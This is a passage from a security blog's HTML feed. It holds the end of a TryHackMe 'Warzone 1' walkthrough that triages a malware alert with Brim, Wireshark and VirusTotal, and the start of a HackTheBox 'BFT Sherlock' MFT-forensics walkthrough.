entry)—we’ll find that this packet contains the suspicious &lt;code&gt;user_agent&lt;/code&gt; string.&lt;/p&gt;&#xA;&lt;p&gt;For reference, user agent strings are used to identify the client connecting to a web server and can help determine more information about the source of the traffic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fa1bc712532dd75ed5186fa3926ad95e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/fa1bc712532dd75ed5186fa3926ad95e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-retrace-the-attack-there-were-multiple-ip-addresses-associated-with-this-attack-what-were-two-other-ip-addresses-enter-the-ip-addresseddefangedand-in-numerical-order-format-ipaddripaddr&#34;&gt;Question 8: Retrace the attack; there were multiple IP addresses associated with this attack. What were two other IP addresses? Enter the IP addressed &lt;strong&gt;defanged&lt;/strong&gt; and in numerical order. (&lt;strong&gt;format: IPADDR,IPADDR&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;For our next task, we’ll need to identify additional IP addresses associated with the attack, defang them, and submit them in numerical order. No problem!&lt;/p&gt;&#xA;&lt;p&gt;The first step is to leverage Brim’s built-in &lt;em&gt;HTTP Requests&lt;/em&gt; query from the &lt;em&gt;Queries&lt;/em&gt; pane on the left-hand side of the window. This will filter individual http requests. From there, we’ll focus on the &lt;code&gt;id.resp_h&lt;/code&gt; column, which represents the IP address of the external server that responded to each request. While the majority of the traffic is directed to the IP address we previously identified, a closer look toward the bottom of the list reveals a few new entries for us to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ed29248fd7f867649646c856e895f81d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;533px&#34; data-flex-grow=&#34;222&#34; height=&#34;360&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/ed29248fd7f867649646c856e895f81d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the additional IOCs&lt;/p&gt;&#xA;&lt;p&gt;Searching each of these IPs on &lt;em&gt;VirusTotal&lt;/em&gt;, and checking the &lt;em&gt;Community&lt;/em&gt; tab again, we’ll discover that some of them are linked to the same malware family we identified back in &lt;strong&gt;Question 5&lt;/strong&gt;. Give it a try! If you get stuck, I’ve included some spoiler links below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/185.10.68.235/community&#34;  title=&#34;https://www.virustotal.com/gui/ip-address/185.10.68.235/community&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/185.10.68.235/community&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/192.36.27.92/community&#34;  title=&#34;https://www.virustotal.com/gui/ip-address/192.36.27.92/community&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/192.36.27.92/community&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve confirmed the related IPs, we can jump over to &lt;em&gt;CyberChef&lt;/em&gt; to defang them. Just remember when submitting your answer, the IPs must be in numerical order, with the lowest value first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;304b2ce8135da6c089038094b8f4e9f3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/304b2ce8135da6c089038094b8f4e9f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-what-were-the-file-names-of-the-downloaded-files-enter-the-answer-in-the-order-to-the-ip-addresses-from-the-previous-question-format-filexyzfilexyz&#34;&gt;Question 9: What were the file names of the downloaded files? Enter the answer in the order to the IP addresses from the previous question. (&lt;strong&gt;format: file.xyz,file.xyz&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;Keeping with our currently filtered &lt;em&gt;HTTP Requests&lt;/em&gt; view in &lt;em&gt;Brim&lt;/em&gt;, we can already identify the URI associated with the downloaded MSI file from the second IP address — jot this down, since it’ll be the second one listed in the answer format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e345e9e8f1145cdb2e647d754586fe69_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;596px&#34; data-flex-grow=&#34;248&#34; height=&#34;322&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/e345e9e8f1145cdb2e647d754586fe69_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the file downloaded from the second IP address&lt;/p&gt;&#xA;&lt;p&gt;To identify the “first” file, let’s pivot to another built-in Brim query: the &lt;em&gt;File Activity&lt;/em&gt; query. This gives us a broader view of file-related events and helps us spot another MSI file downloaded from the first IP address we found in &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5312508427388c8be874490337aa41e6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;569px&#34; data-flex-grow=&#34;237&#34; height=&#34;337&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/5312508427388c8be874490337aa41e6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Identifying the downloaded file from the first IP address&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve located both files, we can combine them to form our answer — just make sure to list them in the same order as the IPs from the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f0934415a8ec633364b2c9b2dc01b4c3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/f0934415a8ec633364b2c9b2dc01b4c3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-inspect-the-traffic-for-the-first-downloaded-file-from-the-previous-question-two-files-will-be-saved-to-the-same-directory-what-is-the-full-file-path-of-the-directory-and-the-name-of-the-two-files-format-cpathfilexyzcpathfilexyz&#34;&gt;Question 10: Inspect the traffic for the first downloaded file from the previous question. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (&lt;strong&gt;format: C:\path\file.xyz,C:\path\file.xyz&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified two suspicious downloaded files, we need to determine where the artifacts were saved on disk. The question tells us there are two additional files saved in the same directory — but how do we discover this?&lt;/p&gt;&#xA;&lt;p&gt;For this task, stick with our current &lt;em&gt;Brim&lt;/em&gt; filter, then click the &lt;em&gt;Packets&lt;/em&gt; button just above the search box to open the associated &lt;em&gt;pcap&lt;/em&gt; in &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;. This will load the packets related to the file download from the &lt;em&gt;first&lt;/em&gt; IP address — the one listed first in the answer to &lt;strong&gt;Question 9&lt;/strong&gt;. Our goal is to review the TCP stream and look for clues about the download path and any other files written to the same location.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ddd0995ccac4020835347c2a9e8fa33d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1500px&#34; data-flex-grow=&#34;625&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/ddd0995ccac4020835347c2a9e8fa33d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Pivoting from Brim to Wireshark&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;em&gt;Wireshark&lt;/em&gt; is open, right-click the first packet in the list and select &lt;em&gt;Follow &amp;gt; TCP Stream&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ff559ec2053a57723d55f002f83b173d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;708px&#34; data-flex-grow=&#34;295&#34; height=&#34;271&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/ff559ec2053a57723d55f002f83b173d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Opening the TCP Stream&lt;/p&gt;&#xA;&lt;p&gt;While there’s a lot of data to sift through, we can work a little smarter by using the find box to search for the common Windows drive letter &lt;code&gt;C:\&lt;/code&gt;. This quickly reveals a file path.&lt;/p&gt;&#xA;&lt;p&gt;Looking just next to that path, we’ll also spot a second &lt;code&gt;.exe&lt;/code&gt; file. Since the question specifies that both files are saved in the same directory as the downloaded file, we can reasonably conclude these are the two files we’re after.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c1d7be64303154c997b8c60b175be574_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;593&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/c1d7be64303154c997b8c60b175be574_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;29d7d52d508f9a7b6f759cc98cf52425_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/29d7d52d508f9a7b6f759cc98cf52425_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-now-do-the-same-and-inspect-the-traffic-from-the-second-downloaded-file-two-files-will-be-saved-to-the-same-directory-what-is-the-full-file-path-of-the-directory-and-the-name-of-the-two-files-format-cpathfilexyzcpathfilexyz&#34;&gt;Question 11: Now do the same and inspect the traffic from the second downloaded file. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (&lt;strong&gt;format: C:\path\file.xyz,C:\path\file.xyz&lt;/strong&gt;)&#xA;&lt;/h3&gt;&lt;p&gt;For our last task, we’ll repeat the same process, this time inspecting the TCP stream for the MSI file downloaded from the &lt;em&gt;second&lt;/em&gt; IP address we identified in &lt;strong&gt;Question 9&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Start by using &lt;em&gt;Brim&lt;/em&gt; to search for the second file name. Once you have the result, click the &lt;em&gt;Packets&lt;/em&gt; button to open the capture in &lt;em&gt;Wireshark&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;df90ca19459bd40a3ebca90d38ceb5e6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;690px&#34; data-flex-grow=&#34;287&#34; height=&#34;278&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/df90ca19459bd40a3ebca90d38ceb5e6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Brim: Searching the 2nd MSI file name&lt;/p&gt;&#xA;&lt;p&gt;As before, right-click the first packet in the list and select &lt;em&gt;Follow &amp;gt; TCP Stream&lt;/em&gt; to view the assembled data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e51623db3ebe71fe8c337103a1c9972f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;984px&#34; data-flex-grow=&#34;410&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/e51623db3ebe71fe8c337103a1c9972f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Opening the TCP Stream&lt;/p&gt;&#xA;&lt;p&gt;With the stream open, use the find box to search for the &lt;code&gt;C:\&lt;/code&gt; drive letter again. This will help us quickly identify the full file path and the names of the two additional files stored in the same directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;037ed4b860e9438f223ca04d07e742b3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;593&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/037ed4b860e9438f223ca04d07e742b3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve identified the directories associated with both suspicious downloads, let’s submit our answers and wrap up this challenge!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;39967ad68755b767313a7b60476692db_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/39967ad68755b767313a7b60476692db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;819272e8507a3e4dbb58e2cc6f48bdc6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/819272e8507a3e4dbb58e2cc6f48bdc6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Done and done! By analyzing the PCAP file containing the suspicious network traffic using &lt;em&gt;Brim&lt;/em&gt; and &lt;em&gt;Wireshark&lt;/em&gt;, and enriching our findings with &lt;em&gt;VirusTotal&lt;/em&gt;, we successfully identified several malicious IP addresses associated with a threat actor. Then we determined what files were downloaded from the malicious infrastructure and where they were saved on disk. Putting all of the evidence together, we can confirm the alert as a true positive and move on to the containment phase.&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve uncovered the nature of the alert and completed our objectives, let’s close out this walkthrough of &lt;strong&gt;Warzone 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for another thrilling and realistic challenge. I chose this weekly challenge to spend more hands-on time with &lt;em&gt;Brim/ZUI&lt;/em&gt; and the awesome Suricata rules built in. While &lt;em&gt;Brim/ZUI&lt;/em&gt; doesn’t quite have the ubiquity of &lt;em&gt;Wireshark&lt;/em&gt;, it’s an extremely impressive tool that’s beneficial to learn and get some practice with. In the real world, I’ve used this tool numerous times to visualize data in a PCAP and uncover information that was time-consuming and difficult to find using other tools — it’s worth keeping in the kit. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;If you liked this challenge and want to take on the second challenge, &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzonetwo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Warzone 2&lt;/strong&gt;&lt;/a&gt;, I’ve got you covered with another walkthrough if you want to continue our investigation together.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-warzone-2-room-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe | Warzone 2 | Room Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-warzone-1-room-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/warzoneone&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/warzoneone&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Brim/ZUI:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://zui.brimdata.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Brim Data — &lt;em&gt;“We’re renaming Brim to Zui”:&lt;/em&gt;&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.brimdata.io/blog/brim-app-will-be-zui/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.brimdata.io/blog/brim-app-will-be-zui/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ZUI Docs — “&lt;em&gt;Packet Captures”:&lt;/em&gt;&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Malicious Destination IP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/169.239.128.11&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/169.239.128.11&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — TA505 (GA0092):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0092/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/groups/G0092/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Additional Malicious IP 1/2:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/185.10.68.235/community&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/185.10.68.235/community&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Additional Malicious IP 2/2:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/192.36.27.92/community&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/192.36.27.92/community&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — BFT Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/</link>
            <pubDate>Sun, 25 May 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/39f348527634cd6e92df8a87a015585d_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — BFT Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hackthebox-bft-sherlock-walkthrough&#34;&gt;HackTheBox— BFT Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-endpoint-using-mftecmd-and-timeline-explorer&#34;&gt;Investigating a Compromised Endpoint Using MFTECmd and Timeline Explorer.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;39f348527634cd6e92df8a87a015585d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/39f348527634cd6e92df8a87a015585d_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/BFT&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/BFT&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve &lt;em&gt;stumbled&lt;/em&gt; across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/BFT&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BFT Sherlock&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This challenge is a fantastic introduction to analyzing &lt;em&gt;MFT&lt;/em&gt; artifacts on a Windows system — let’s check out the scenario below.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In this Sherlock, you will become acquainted with MFT (Master File Table) forensics. You will be introduced to well-known tools and methodologies for analyzing MFT artifacts to identify malicious activity. During our analysis, you will utilize the MFTECmd tool to parse the provided MFT file, TimeLine Explorer to open and analyze the results from the parsed MFT, and a Hex editor to recover file contents from the MFT.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this challenge, a victim’s device has been compromised with malware, and we need to investigate what happened. The twist? We’re only given access to the &lt;em&gt;Master File Table&lt;/em&gt; from the device. Fortunately, this is a robust forensic artifact that contains an entry for every file on the system — including size, timestamps, permissions, and more!&lt;/p&gt;&#xA;&lt;p&gt;What’s in our toolkit for this investigation? Like the challenge stated, we’re going to leverage a couple of tools from &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman’s&lt;/em&gt;&lt;/a&gt; &lt;em&gt;forensic suite&lt;/em&gt; to parse and explore the &lt;code&gt;$MFT&lt;/code&gt;, including &lt;em&gt;MFTECmd&lt;/em&gt; to parse it and &lt;em&gt;Timeline Explorer&lt;/em&gt; to analyze the results.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;em&gt;Hack the Box (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, since this is a _Windows-_based lab, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub - mandiant/flare-vm: A collection of software 